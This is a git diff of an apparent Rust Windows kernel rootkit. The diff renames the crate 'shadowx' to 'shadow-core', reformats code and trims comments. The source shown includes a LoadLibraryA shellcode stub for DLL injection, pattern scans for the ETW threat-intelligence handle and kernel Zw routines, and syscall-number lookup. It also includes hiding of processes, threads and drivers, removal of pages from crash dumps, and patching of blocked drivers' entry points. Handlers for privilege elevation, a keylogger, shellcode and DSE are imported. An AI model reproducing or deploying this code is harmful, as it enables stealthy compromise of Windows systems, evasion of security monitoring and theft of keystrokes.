0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rcx, &DllPath
|
||||||
|
0xFF, 0xD0, // call rax
|
||||||
|
0x48, 0x83, 0xC4, 0x28, // add rsp, 0x28
|
||||||
|
0xC3, // ret
|
||||||
|
];
|
||||||
|
|
||||||
/// Scans memory for a specific pattern of bytes in a specific section.
|
/// Scans memory for a specific pattern of bytes in a specific section.
|
||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// * `function_address` - The base address (in `usize` format) from which the scan should start.
|
/// * `function_address` - The base address from which the scan should start.
|
||||||
/// * `pattern` - A slice of bytes (`&[u8]`) that represents the pattern you are searching for in memory.
|
/// * `pattern` - A slice of bytes that represents the pattern you are searching for in memory.
|
||||||
/// * `offset` - Offset from the pattern position where the i32 value starts.
|
/// * `offset` - Offset from the pattern position where the i32 value starts.
|
||||||
/// * `final_offset` - The final offset applied to the resulting address.
|
/// * `final_offset` - The final offset applied to the resulting address.
|
||||||
/// * `size` - The size of the memory to scan.
|
/// * `size` - The size of the memory to scan.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(*mut u8)` - The computed address after applying offsets and the found i32.
|
/// The computed address after applying offsets and the found i32.
|
||||||
/// * `Err(ShadowError)` - Error if pattern not found or conversion fails.
|
|
||||||
pub unsafe fn scan_for_pattern(
|
pub unsafe fn scan_for_pattern(
|
||||||
function_address: *mut c_void,
|
function_address: *mut c_void,
|
||||||
pattern: &[u8],
|
pattern: &[u8],
|
||||||
offset: usize,
|
offset: usize,
|
||||||
final_offset: isize,
|
final_offset: isize,
|
||||||
size: usize,
|
size: usize,
|
||||||
) -> Result<*mut u8> {
|
) -> ShadowResult<*mut u8> {
|
||||||
let function_bytes = from_raw_parts(function_address as *const u8, size);
|
let function_bytes = from_raw_parts(function_address as *const u8, size);
|
||||||
|
|
||||||
if let Some(x) = function_bytes
|
if let Some(x) = function_bytes
|
||||||
@@ -86,9 +105,8 @@ pub unsafe fn scan_for_pattern(
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(u16)` - Returns the syscall index (`u16`) if the function is found.
|
/// The syscall index if the function is found.
|
||||||
/// * `Err(ShadowError)` - Returns an error if the function is not found or if a system API call fails.
|
pub unsafe fn get_syscall_index(function_name: &str) -> ShadowResult<u16> {
|
||||||
pub unsafe fn get_syscall_index(function_name: &str) -> Result<u16> {
|
|
||||||
let mut section_handle = null_mut();
|
let mut section_handle = null_mut();
|
||||||
let dll = uni::str_to_unicode(obfstr!("\\KnownDlls\\ntdll.dll"));
|
let dll = uni::str_to_unicode(obfstr!("\\KnownDlls\\ntdll.dll"));
|
||||||
let mut obj_attr = InitializeObjectAttributes(
|
let mut obj_attr = InitializeObjectAttributes(
|
||||||
@@ -203,10 +221,8 @@ pub unsafe fn get_syscall_index(function_name: &str) -> Result<u16> {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * `Ok(usize)` - Returns the address of the Zw function (`usize`) if found.
|
/// The address of the Zw function if found.
|
||||||
/// * `Err(ShadowError)` - Returns an error if the function is not found or a system error occurs.
|
pub unsafe fn find_zw_function(name: &str) -> ShadowResult<usize> {
|
||||||
/// It should be used with caution in kernel mode to prevent system instability.
|
|
||||||
pub unsafe fn find_zw_function(name: &str) -> Result<usize> {
|
|
||||||
let ssn = get_syscall_index(name)?;
|
let ssn = get_syscall_index(name)?;
|
||||||
let ntoskrnl_addr = get_module_base_address(obfstr!("ntoskrnl.exe"))?;
|
let ntoskrnl_addr = get_module_base_address(obfstr!("ntoskrnl.exe"))?;
|
||||||
|
|
||||||
@@ -215,7 +231,8 @@ pub unsafe fn find_zw_function(name: &str) -> Result<usize> {
|
|||||||
ZW_PATTERN[22] = ssn_bytes[1];
|
ZW_PATTERN[22] = ssn_bytes[1];
|
||||||
|
|
||||||
let dos_header = ntoskrnl_addr as *const IMAGE_DOS_HEADER;
|
let dos_header = ntoskrnl_addr as *const IMAGE_DOS_HEADER;
|
||||||
let nt_header = (ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS;
|
let nt_header =
|
||||||
|
(ntoskrnl_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS;
|
||||||
let section_header =
|
let section_header =
|
||||||
(nt_header as usize + size_of::<IMAGE_NT_HEADERS>()) as *const IMAGE_SECTION_HEADER;
|
(nt_header as usize + size_of::<IMAGE_NT_HEADERS>()) as *const IMAGE_SECTION_HEADER;
|
||||||
|
|
||||||
@@ -224,7 +241,8 @@ pub unsafe fn find_zw_function(name: &str) -> Result<usize> {
|
|||||||
let section = (*section_header.add(i)).Name;
|
let section = (*section_header.add(i)).Name;
|
||||||
let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0');
|
let name = core::str::from_utf8(§ion).unwrap().trim_matches('\0');
|
||||||
if name == obfstr!(".text") {
|
if name == obfstr!(".text") {
|
||||||
let text_start = ntoskrnl_addr as usize + (*section_header.add(i)).VirtualAddress as usize;
|
let text_start =
|
||||||
|
ntoskrnl_addr as usize + (*section_header.add(i)).VirtualAddress as usize;
|
||||||
let text_end = text_start + (*section_header.add(i)).Misc.VirtualSize as usize;
|
let text_end = text_start + (*section_header.add(i)).Misc.VirtualSize as usize;
|
||||||
let data = core::slice::from_raw_parts(text_start as *const u8, text_end - text_start);
|
let data = core::slice::from_raw_parts(text_start as *const u8, text_end - text_start);
|
||||||
|
|
||||||
@@ -245,35 +263,3 @@ pub unsafe fn find_zw_function(name: &str) -> Result<usize> {
|
|||||||
line!(),
|
line!(),
|
||||||
))
|
))
|
||||||
}
|
}
|
||||||
|
|
||||||
/// The `ETWTI_PATTERN` represents a sequence of machine instructions used for
|
|
||||||
/// identifying the location of the `EtwThreatIntProvRegHandle` in memory.
|
|
||||||
pub const ETWTI_PATTERN: [u8; 5] = [
|
|
||||||
0x33, 0xD2, // 33d2 xor edx,edx
|
|
||||||
0x48, 0x8B,
|
|
||||||
0x0D, // 488b0dcd849300 mov rcx,qword ptr [nt!EtwThreatIntProvRegHandle (xxxx)]
|
|
||||||
];
|
|
||||||
|
|
||||||
/// The `ZW_PATTERN` represents a sequence of machine instructions used for
|
|
||||||
/// identifying system service routines within the Windows kernel.
|
|
||||||
pub static mut ZW_PATTERN: [u8; 30] = [
|
|
||||||
0x48, 0x8B, 0xC4, // mov rax, rsp
|
|
||||||
0xFA, // cli
|
|
||||||
0x48, 0x83, 0xEC, 0x10, // sub rsp, 10h
|
|
||||||
0x50, // push rax
|
|
||||||
0x9C, // pushfq
|
|
||||||
0x6A, 0x10, // push 10h
|
|
||||||
0x48, 0x8D, 0x05, 0xCC, 0xCC, 0xCC, 0xCC, // lea rax, KiServiceLinkage
|
|
||||||
0x50, // push rax
|
|
||||||
0xB8, 0xCC, 0xCC, 0xCC, 0xCC, // mov eax, <SSN>
|
|
||||||
0xE9, 0xCC, 0xCC, 0xCC, 0xCC, // jmp KiServiceInternal
|
|
||||||
];
|
|
||||||
|
|
||||||
pub static mut LDR_SHELLCODE: [u8; 31] = [
|
|
||||||
0x48, 0x83, 0xEC, 0x28, // sub rsp, 0x28
|
|
||||||
0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, LoadLibraryA
|
|
||||||
0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rcx, &DllPath
|
|
||||||
0xFF, 0xD0, // call rax
|
|
||||||
0x48, 0x83, 0xC4, 0x28, // add rsp, 0x28
|
|
||||||
0xC3, // ret
|
|
||||||
];
|
|
||||||
@@ -1,33 +1,24 @@
|
|||||||
use core::ffi::c_void;
|
use core::ffi::c_void;
|
||||||
use wdk_sys::{
|
use wdk_sys::{
|
||||||
POOL_FLAGS,
|
|
||||||
ntddk::{ExAllocatePool2, ExFreePool},
|
ntddk::{ExAllocatePool2, ExFreePool},
|
||||||
|
POOL_FLAGS,
|
||||||
};
|
};
|
||||||
|
|
||||||
/// A wrapper around memory allocated from the pool in the Windows kernel.
|
/// A wrapper around memory allocated from the pool in the Windows kernel.
|
||||||
///
|
|
||||||
/// This struct provides a safe abstraction over memory allocated from the kernel pool.
|
|
||||||
/// It ensures that the allocated memory is properly freed when the `PoolMemory` goes out
|
|
||||||
/// of scope, by calling `ExFreePool` in its `Drop` implementation.
|
|
||||||
pub struct PoolMemory {
|
pub struct PoolMemory {
|
||||||
/// A raw pointer to the allocated pool memory.
|
/// A raw pointer to the allocated pool memory.
|
||||||
pub ptr: *mut c_void,
|
pub ptr: *mut c_void,
|
||||||
}
|
}
|
||||||
|
|
||||||
impl PoolMemory {
|
impl PoolMemory {
|
||||||
/// Allocates memory from the Windows kernel pool.
|
/// Create new a `PoolMemory`.
|
||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// * `flag` - Flags controlling memory allocation behavior (e.g., paged or non-paged memory).
|
/// * `flag` - Flags controlling memory allocation behavior.
|
||||||
/// * `number_of_bytes` - Size of the memory block to allocate (in bytes).
|
/// * `number_of_bytes` - Size of the memory block to allocate.
|
||||||
/// * `tag` - A **4-character string** identifying the memory allocation.
|
/// * `tag` - A **4-character string** identifying the memory allocation.
|
||||||
///
|
///
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// * `Some(PoolMemory)` - If memory allocation succeeds.
|
|
||||||
/// * `None` - If memory allocation fails.
|
|
||||||
///
|
|
||||||
/// # Panics
|
/// # Panics
|
||||||
///
|
///
|
||||||
/// This function **panics** if `tag` is not exactly 4 characters long.
|
/// This function **panics** if `tag` is not exactly 4 characters long.
|
||||||
@@ -59,11 +50,6 @@ impl PoolMemory {
|
|||||||
}
|
}
|
||||||
|
|
||||||
impl Drop for PoolMemory {
|
impl Drop for PoolMemory {
|
||||||
/// Frees the allocated pool memory when the `PoolMemory` instance is dropped.
|
|
||||||
///
|
|
||||||
/// This method is automatically called when the `PoolMemory` goes out of scope. It ensures that
|
|
||||||
/// the memory allocated with `ExAllocatePool2` is properly freed using `ExFreePool`, unless
|
|
||||||
/// the pointer is null.
|
|
||||||
fn drop(&mut self) {
|
fn drop(&mut self) {
|
||||||
if !self.ptr.is_null() {
|
if !self.ptr.is_null() {
|
||||||
unsafe { ExFreePool(self.ptr) };
|
unsafe { ExFreePool(self.ptr) };
|
||||||
@@ -17,7 +17,7 @@ impl OwnedUnicodeString {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * A `UNICODE_STRING` pointing to the wide string stored in `buffer`.
|
/// A `UNICODE_STRING` pointing to the wide string stored in `buffer`.
|
||||||
pub fn to_unicode(&self) -> UNICODE_STRING {
|
pub fn to_unicode(&self) -> UNICODE_STRING {
|
||||||
// The length is the size of the string in bytes, excluding the null terminator.
|
// The length is the size of the string in bytes, excluding the null terminator.
|
||||||
// MaximumLength includes the null terminator.
|
// MaximumLength includes the null terminator.
|
||||||
@@ -37,7 +37,7 @@ impl OwnedUnicodeString {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * A structure containing the wide (UTF-16) representation of the input string.
|
/// A structure containing the wide (UTF-16) representation of the input string.
|
||||||
pub fn str_to_unicode(str: &str) -> OwnedUnicodeString {
|
pub fn str_to_unicode(str: &str) -> OwnedUnicodeString {
|
||||||
// Convert the rust string to a wide string
|
// Convert the rust string to a wide string
|
||||||
let mut wide_string: Vec<u16> = str.encode_utf16().collect();
|
let mut wide_string: Vec<u16> = str.encode_utf16().collect();
|
||||||
4
driver/Cargo.lock
generated
4
driver/Cargo.lock
generated
@@ -598,7 +598,7 @@ dependencies = [
|
|||||||
"kernel-log",
|
"kernel-log",
|
||||||
"log",
|
"log",
|
||||||
"obfstr",
|
"obfstr",
|
||||||
"shadowx",
|
"shadow-core",
|
||||||
"spin",
|
"spin",
|
||||||
"wdk",
|
"wdk",
|
||||||
"wdk-build",
|
"wdk-build",
|
||||||
@@ -607,7 +607,7 @@ dependencies = [
|
|||||||
]
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "shadowx"
|
name = "shadow-core"
|
||||||
version = "0.1.0"
|
version = "0.1.0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"bitfield",
|
"bitfield",
|
||||||
|
|||||||
@@ -21,8 +21,8 @@ log = "0.4.22"
|
|||||||
spin = "0.9.8"
|
spin = "0.9.8"
|
||||||
obfstr = "0.4.3"
|
obfstr = "0.4.3"
|
||||||
kernel-log = "0.1.3"
|
kernel-log = "0.1.3"
|
||||||
common = { path = "../common" }
|
common = { path = "../crates/common" }
|
||||||
shadowx = { path = "../shadowx" }
|
shadow-core = { path = "../crates/shadow-core" }
|
||||||
|
|
||||||
[build-dependencies]
|
[build-dependencies]
|
||||||
wdk-build = "0.4.0"
|
wdk-build = "0.4.0"
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ unsafe impl GlobalAlloc for KernelAlloc {
|
|||||||
/// This function leverages the `ExAllocatePool2` function from the WDK to
|
/// This function leverages the `ExAllocatePool2` function from the WDK to
|
||||||
/// provide memory allocation capabilities.
|
/// provide memory allocation capabilities.
|
||||||
///
|
///
|
||||||
/// # Parameters
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// * `layout` - Memory layout specifications.
|
/// * `layout` - Memory layout specifications.
|
||||||
///
|
///
|
||||||
@@ -40,7 +40,7 @@ unsafe impl GlobalAlloc for KernelAlloc {
|
|||||||
/// This function leverages the `ExFreePool` function from the WDK to
|
/// This function leverages the `ExFreePool` function from the WDK to
|
||||||
/// release the memory back to the system.
|
/// release the memory back to the system.
|
||||||
///
|
///
|
||||||
/// # Parameters
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// * `ptr` - Raw pointer to the memory block to be released.
|
/// * `ptr` - Raw pointer to the memory block to be released.
|
||||||
/// * `_layout` - Memory layout specifications (not used in this implementation).
|
/// * `_layout` - Memory layout specifications (not used in this implementation).
|
||||||
|
|||||||
@@ -12,13 +12,13 @@ use wdk_sys::{
|
|||||||
ntddk::*, *,
|
ntddk::*, *,
|
||||||
_KBUGCHECK_CALLBACK_REASON::KbCallbackRemovePages,
|
_KBUGCHECK_CALLBACK_REASON::KbCallbackRemovePages,
|
||||||
};
|
};
|
||||||
use shadowx::{uni, IMAGE_DOS_HEADER, IMAGE_NT_HEADERS, mdl::Mdl};
|
use shadow_core::{uni, IMAGE_DOS_HEADER, IMAGE_NT_HEADERS, mdl::Mdl};
|
||||||
use shadowx::{
|
use shadow_core::{
|
||||||
KBUGCHECK_REASON_CALLBACK_RECORD,
|
KBUGCHECK_REASON_CALLBACK_RECORD,
|
||||||
KeRegisterBugCheckReasonCallback,
|
KeRegisterBugCheckReasonCallback,
|
||||||
KeDeregisterBugCheckReasonCallback
|
KeDeregisterBugCheckReasonCallback
|
||||||
};
|
};
|
||||||
use shadowx::registry::callback::{
|
use shadow_core::registry::callback::{
|
||||||
CALLBACK_REGISTRY,
|
CALLBACK_REGISTRY,
|
||||||
registry_callback
|
registry_callback
|
||||||
};
|
};
|
||||||
@@ -181,9 +181,6 @@ impl<'a> Callback<'a> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// Callback function triggered during a system crash (bug check).
|
/// Callback function triggered during a system crash (bug check).
|
||||||
///
|
|
||||||
/// This function modifies the crash dump behavior by marking specific memory
|
|
||||||
/// regions to be removed from the crash dump.
|
|
||||||
extern "C" fn bug_check_remove_pages(
|
extern "C" fn bug_check_remove_pages(
|
||||||
_Reason: KBUGCHECK_CALLBACK_REASON,
|
_Reason: KBUGCHECK_CALLBACK_REASON,
|
||||||
_Record: *mut KBUGCHECK_REASON_CALLBACK_RECORD,
|
_Record: *mut KBUGCHECK_REASON_CALLBACK_RECORD,
|
||||||
@@ -215,12 +212,10 @@ const OPCODES: [u8; 6] = [
|
|||||||
const MAX_DRIVER: usize = 256;
|
const MAX_DRIVER: usize = 256;
|
||||||
|
|
||||||
/// List of drivers to block.
|
/// List of drivers to block.
|
||||||
static TARGET_DRIVERS: Lazy<Mutex<Vec<String>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_DRIVER)));
|
static TARGET_DRIVERS: Lazy<Mutex<Vec<String>>> =
|
||||||
|
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_DRIVER)));
|
||||||
|
|
||||||
/// Callback function triggered when an image (executable/DLL) is loaded.
|
/// Callback function triggered when an image (executable/DLL) is loaded.
|
||||||
///
|
|
||||||
/// This function intercepts image loading events and checks for images.
|
|
||||||
/// If detected, it modifies the image's entry point using an MDL (Memory Descriptor List).
|
|
||||||
extern "C" fn image_notify_routine(
|
extern "C" fn image_notify_routine(
|
||||||
FullImageName: PUNICODE_STRING,
|
FullImageName: PUNICODE_STRING,
|
||||||
ProcessId: HANDLE,
|
ProcessId: HANDLE,
|
||||||
@@ -276,7 +271,7 @@ pub mod driver {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * A status code indicating the success or failure of the operation.
|
/// A status code indicating the success or failure of the operation.
|
||||||
pub fn add_driver(driver: String) -> NTSTATUS {
|
pub fn add_driver(driver: String) -> NTSTATUS {
|
||||||
let mut drivers = TARGET_DRIVERS.lock();
|
let mut drivers = TARGET_DRIVERS.lock();
|
||||||
|
|
||||||
@@ -301,7 +296,7 @@ pub mod driver {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * A status code indicating the success or failure of the operation.
|
/// A status code indicating the success or failure of the operation.
|
||||||
pub fn remove_driver(driver: &String) -> NTSTATUS {
|
pub fn remove_driver(driver: &String) -> NTSTATUS {
|
||||||
let mut drivers = TARGET_DRIVERS.lock();
|
let mut drivers = TARGET_DRIVERS.lock();
|
||||||
|
|
||||||
@@ -327,7 +322,7 @@ pub mod process {
|
|||||||
use alloc::vec::Vec;
|
use alloc::vec::Vec;
|
||||||
use wdk_sys::{*, ntddk::PsGetProcessId};
|
use wdk_sys::{*, ntddk::PsGetProcessId};
|
||||||
use wdk_sys::_OB_PREOP_CALLBACK_STATUS::{Type, OB_PREOP_SUCCESS};
|
use wdk_sys::_OB_PREOP_CALLBACK_STATUS::{Type, OB_PREOP_SUCCESS};
|
||||||
use shadowx::{
|
use shadow_core::{
|
||||||
PROCESS_CREATE_THREAD, PROCESS_TERMINATE,
|
PROCESS_CREATE_THREAD, PROCESS_TERMINATE,
|
||||||
PROCESS_VM_OPERATION, PROCESS_VM_READ,
|
PROCESS_VM_OPERATION, PROCESS_VM_READ,
|
||||||
};
|
};
|
||||||
@@ -342,7 +337,7 @@ pub mod process {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * A status code indicating the success or failure of the operation.
|
/// A status code indicating the success or failure of the operation.
|
||||||
pub fn add_pid(pid: usize) -> NTSTATUS {
|
pub fn add_pid(pid: usize) -> NTSTATUS {
|
||||||
let mut pids = TARGET_PIDS.lock();
|
let mut pids = TARGET_PIDS.lock();
|
||||||
|
|
||||||
@@ -367,7 +362,7 @@ pub mod process {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * A status code indicating the success or failure of the operation.
|
/// A status code indicating the success or failure of the operation.
|
||||||
pub fn remove_pid(pid: usize) -> NTSTATUS {
|
pub fn remove_pid(pid: usize) -> NTSTATUS {
|
||||||
let mut pids = TARGET_PIDS.lock();
|
let mut pids = TARGET_PIDS.lock();
|
||||||
|
|
||||||
@@ -383,7 +378,7 @@ pub mod process {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * A status code indicating success or failure of the operation.
|
/// A status code indicating success or failure of the operation.
|
||||||
pub unsafe fn enumerate_protection_processes() -> Vec<TargetProcess> {
|
pub unsafe fn enumerate_protection_processes() -> Vec<TargetProcess> {
|
||||||
let mut processes: Vec<TargetProcess> = Vec::new();
|
let mut processes: Vec<TargetProcess> = Vec::new();
|
||||||
let process_info = TARGET_PIDS.lock();
|
let process_info = TARGET_PIDS.lock();
|
||||||
@@ -398,16 +393,15 @@ pub mod process {
|
|||||||
}
|
}
|
||||||
|
|
||||||
/// The object (process) pre-operation callback function used to filter process opening operations.
|
/// The object (process) pre-operation callback function used to filter process opening operations.
|
||||||
/// This function is registered as a callback and is called by the operating system before a process opening operation is completed.
|
|
||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// * `_registration_context` - Pointer to record context (Not used).
|
/// * `_registration_context` - Pointer to record context.
|
||||||
/// * `info` - Pointer to an `OB_PRE_OPERATION_INFORMATION` structure that contains information about the process's pre-opening operation.
|
/// * `info` - Pointer to an `OB_PRE_OPERATION_INFORMATION` structure.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * A status code indicating the success or failure of the operation.
|
/// A status code indicating the success or failure of the operation.
|
||||||
pub unsafe extern "C" fn on_pre_open_process(
|
pub unsafe extern "C" fn on_pre_open_process(
|
||||||
_registration_context: *mut core::ffi::c_void,
|
_registration_context: *mut core::ffi::c_void,
|
||||||
info: *mut OB_PRE_OPERATION_INFORMATION,
|
info: *mut OB_PRE_OPERATION_INFORMATION,
|
||||||
@@ -458,7 +452,7 @@ pub mod thread {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * A status code indicating the success or failure of the operation.
|
/// A status code indicating the success or failure of the operation.
|
||||||
pub fn add_target_tid(tid: usize) -> NTSTATUS {
|
pub fn add_target_tid(tid: usize) -> NTSTATUS {
|
||||||
let mut tids = TARGET_TIDS.lock();
|
let mut tids = TARGET_TIDS.lock();
|
||||||
|
|
||||||
@@ -483,7 +477,7 @@ pub mod thread {
|
|||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * A status code indicating the success or failure of the operation.
|
/// A status code indicating the success or failure of the operation.
|
||||||
pub fn remove_target_tid(tid: usize) -> NTSTATUS {
|
pub fn remove_target_tid(tid: usize) -> NTSTATUS {
|
||||||
let mut tids = TARGET_TIDS.lock();
|
let mut tids = TARGET_TIDS.lock();
|
||||||
|
|
||||||
@@ -497,14 +491,9 @@ pub mod thread {
|
|||||||
|
|
||||||
/// Enumerate threads Protect.
|
/// Enumerate threads Protect.
|
||||||
///
|
///
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// * `info_process` - It is a parameter of type `Infothreads` that will send the threads that are currently protected.
|
|
||||||
/// * `information` - It is a parameter of type `usize` that will be updated with the total size of the filled `Infothreads` structures.
|
|
||||||
///
|
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * A status code indicating success or failure of the operation.
|
/// A status code indicating success or failure of the operation.
|
||||||
pub unsafe fn enumerate_protection_thread() -> Vec<TargetThread> {
|
pub unsafe fn enumerate_protection_thread() -> Vec<TargetThread> {
|
||||||
let mut threads: Vec<TargetThread> = Vec::new();
|
let mut threads: Vec<TargetThread> = Vec::new();
|
||||||
let thread_info = TARGET_TIDS.lock();
|
let thread_info = TARGET_TIDS.lock();
|
||||||
@@ -518,16 +507,17 @@ pub mod thread {
|
|||||||
threads
|
threads
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Pre-operation callback for thread opening that modifies the desired access rights to prevent certain actions on specific threads.
|
/// Pre-operation callback for thread opening that modifies the desired access rights
|
||||||
|
/// to prevent certain actions on specific threads.
|
||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// * `_registration_context` - A pointer to the registration context (unused).
|
/// * `_registration_context` - A pointer to the registration context.
|
||||||
/// * `info` - A pointer to the `OB_PRE_OPERATION_INFORMATION` structure containing information about the operation.
|
/// * `info` - A pointer to the `OB_PRE_OPERATION_INFORMATION` structure.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// * A status code indicating the success of the pre-operation.
|
/// A status code indicating the success of the pre-operation.
|
||||||
pub unsafe extern "C" fn on_pre_open_thread(
|
pub unsafe extern "C" fn on_pre_open_thread(
|
||||||
_registration_context: *mut core::ffi::c_void,
|
_registration_context: *mut core::ffi::c_void,
|
||||||
info: *mut OB_PRE_OPERATION_INFORMATION,
|
info: *mut OB_PRE_OPERATION_INFORMATION,
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ use alloc::{
|
|||||||
vec::Vec
|
vec::Vec
|
||||||
};
|
};
|
||||||
|
|
||||||
use shadowx::error::ShadowError;
|
use shadow_core::error::ShadowError;
|
||||||
use wdk_sys::*;
|
use wdk_sys::*;
|
||||||
use spin::{Lazy, Mutex};
|
use spin::{Lazy, Mutex};
|
||||||
use core::sync::atomic::{AtomicPtr, Ordering};
|
use core::sync::atomic::{AtomicPtr, Ordering};
|
||||||
@@ -16,28 +16,35 @@ use common::{
|
|||||||
};
|
};
|
||||||
|
|
||||||
#[cfg(not(feature = "mapper"))]
|
#[cfg(not(feature = "mapper"))]
|
||||||
use shadowx::registry::Type;
|
use shadow_core::registry::{Type, Registry};
|
||||||
use shadowx::{
|
use shadow_core::callback::{
|
||||||
Process, Thread,
|
object,
|
||||||
Network, network,
|
notify_routine,
|
||||||
|
registry
|
||||||
};
|
};
|
||||||
use shadowx::{
|
use shadow_core::{Dse, Etw, Module};
|
||||||
|
use shadow_core::{Process, Thread, Network};
|
||||||
|
use shadow_core::{
|
||||||
|
network,
|
||||||
|
Driver,
|
||||||
|
Keylogger,
|
||||||
|
Shellcode,
|
||||||
|
DLL
|
||||||
|
};
|
||||||
|
use shadow_core::{
|
||||||
PROCESS_INFO_HIDE,
|
PROCESS_INFO_HIDE,
|
||||||
THREAD_INFO_HIDE
|
THREAD_INFO_HIDE
|
||||||
};
|
};
|
||||||
|
|
||||||
#[cfg(not(feature = "mapper"))]
|
#[cfg(not(feature = "mapper"))]
|
||||||
use crate::callback::{driver, process, thread};
|
use crate::callback::{driver, process, thread};
|
||||||
use crate::utils::{
|
use crate::util::{
|
||||||
get_input_buffer,
|
get_input_buffer,
|
||||||
get_output_buffer
|
get_output_buffer
|
||||||
};
|
};
|
||||||
|
|
||||||
/// Static structure to store hidden driver information.
|
/// Maximum number of drivers that can be tracked.
|
||||||
///
|
const MAX_DRIVER: usize = 100;
|
||||||
/// This structure keeps track of the drivers that have been hidden, including their
|
|
||||||
/// `LDR_DATA_TABLE_ENTRY` and the previous list entries in `PsLoadedModuleList`.
|
|
||||||
static DRIVER_INFO_HIDE: Lazy<Mutex<Vec<TargetDriver>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_DRIVER)));
|
|
||||||
|
|
||||||
/// Holds the user-mode address for keylogger functionality.
|
/// Holds the user-mode address for keylogger functionality.
|
||||||
///
|
///
|
||||||
@@ -45,14 +52,13 @@ static DRIVER_INFO_HIDE: Lazy<Mutex<Vec<TargetDriver>>> = Lazy::new(|| Mutex::ne
|
|||||||
/// kernel memory to user space.
|
/// kernel memory to user space.
|
||||||
static mut USER_ADDRESS: usize = 0;
|
static mut USER_ADDRESS: usize = 0;
|
||||||
|
|
||||||
/// Maximum number of drivers that can be tracked.
|
/// Static structure to store hidden driver information.
|
||||||
const MAX_DRIVER: usize = 100;
|
static DRIVER_INFO_HIDE: Lazy<Mutex<Vec<TargetDriver>>> =
|
||||||
|
Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_DRIVER)));
|
||||||
|
|
||||||
/// Type alias for an IOCTL handler function.
|
/// Type alias for an IOCTL handler function.
|
||||||
///
|
type IoctlHandler = Box<dyn Fn(*mut IRP, *mut IO_STACK_LOCATION) ->
|
||||||
/// Each handler receives a pointer to an `IRP` (I/O Request Packet) and
|
Result<NTSTATUS, ShadowError> + Send + Sync>;
|
||||||
/// an `IO_STACK_LOCATION`, returning an `NTSTATUS` result.
|
|
||||||
type IoctlHandler = Box<dyn Fn(*mut IRP, *mut IO_STACK_LOCATION) -> Result<NTSTATUS, ShadowError> + Send + Sync>;
|
|
||||||
|
|
||||||
/// Type for mapping IOCTL control codes to their respective handlers.
|
/// Type for mapping IOCTL control codes to their respective handlers.
|
||||||
type Ioctls = BTreeMap<u32, IoctlHandler>;
|
type Ioctls = BTreeMap<u32, IoctlHandler>;
|
||||||
@@ -74,7 +80,7 @@ impl IoctlManager {
|
|||||||
self.handlers.get(&control_code)
|
self.handlers.get(&control_code)
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Loads the IOCTL handlers into a `BTreeMap`.
|
/// Loads the IOCTL handlers.
|
||||||
pub fn load_handlers(&mut self) {
|
pub fn load_handlers(&mut self) {
|
||||||
self.process();
|
self.process();
|
||||||
self.thread();
|
self.thread();
|
||||||
@@ -96,14 +102,14 @@ impl IoctlManager {
|
|||||||
// Elevates the privileges of a specific process.
|
// Elevates the privileges of a specific process.
|
||||||
self.register_handler(ELEVATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
self.register_handler(ELEVATE_PROCESS, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
||||||
unsafe {
|
unsafe {
|
||||||
// Retrieves the process information from the input buffer.
|
// Retrieves the process information from the input buffer
|
||||||
let target_process = get_input_buffer::<TargetProcess>(stack)?;
